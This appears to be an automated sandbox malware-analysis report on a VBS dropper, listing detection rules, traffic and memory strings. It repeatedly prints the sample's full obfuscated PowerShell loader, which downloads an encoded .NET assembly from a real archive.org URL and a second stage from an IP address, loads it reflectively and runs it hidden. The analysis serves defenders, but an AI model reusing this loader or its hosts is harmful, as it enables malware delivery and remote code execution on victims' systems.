                Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\aK7smea2Vv.vbs", ProcessId: 7384, ProcessName: wscript.exe
                Sigma detected: Non Interactive PowerShell Process Spawned
                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc

                Data Obfuscation

                barindex
                Sigma detected: Powershell Download and Execute IEX
                Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0U

                Suricata Signatures

                ⊘No Suricata rule has matched

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for domain / URL
                Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtVirustotal: Detection: 10%Perma Link
                Multi AV Scanner detection for submitted file
                Source: aK7smea2Vv.vbsVirustotal: Detection: 9%Perma Link
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.2% probability
                Source: unknownHTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.9:49706 version: TLS 1.2
                Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\dll\System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbG source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: dbpdbtem.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\dll\System.pdbj source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\System.Management.Automation.pdbk source: powershell.exe, 00000004.00000002.1920578665.00000251EDCD1000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbI/ source: powershell.exe, 00000004.00000002.1921857580.00000251EDE30000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1903308651.000002519101B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.pdb source: powershell.exe, 00000004.00000002.1920578665.00000251EDCEA000.00000004.00000020.00020000.00000000.sdmp

                Software Vulnerabilities

                barindex
                Suspicious execution chain found
                Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                Source: global trafficHTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
                Source: Joe Sandbox ViewIP Address: 207.241.227.240 207.241.227.240
                Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownTCP traffic detected without corresponding DNS query: 45.79.190.156
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: global trafficHTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /560/WRDF.txt HTTP/1.1Host: 45.79.190.156Connection: Keep-Alive
                Source: global trafficDNS traffic detected: DNS query: ia600100.us.archive.org
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://45.79.190.156
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180602000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://45.79.190.156(
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://45.79.190.156/560/WRDF.txt
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://45.79.190.156p
                Source: powershell.exe, 00000002.00000002.1941434841.000001C47A562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.m
                Source: powershell.exe, 00000004.00000002.1918181957.00000251EBC85000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
                Source: powershell.exe, 00000002.00000002.1941434841.000001C47A562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.msoft
                Source: powershell.exe, 00000004.00000002.1889889950.00000251816CB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ia600100.us.archive.org
                Source: powershell.exe, 00000004.00000002.1889889950.0000025181987000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                Source: powershell.exe, 00000002.00000002.1931428866.000001C46252C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: powershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                Source: powershell.exe, 00000002.00000002.1931428866.000001C4624DB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6
                Source: powershell.exe, 00000002.00000002.1931428866.000001C4624F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                Source: powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                Source: powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                Source: powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                Source: powershell.exe, 00000004.00000002.1889889950.00000251811EB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                Source: powershell.exe, 00000004.00000002.1889889950.00000251816C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ia600100.us.arX(p
                Source: powershell.exe, 00000004.00000002.1889889950.00000251813D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ia600100.us.archive.org
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
                Source: powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtkfs;DC7base64Content
                Source: powershell.exe, 00000004.00000002.1889889950.0000025181987000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                Source: powershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
                Source: powershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
                Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
                Source: unknownHTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.9:49706 version: TLS 1.2

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: Process Memory Space: powershell.exe PID: 7472, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Source: Process Memory Space: powershell.exe PID: 7612, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                Wscript starts Powershell (via cmd or directly)
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxDJump to behavior
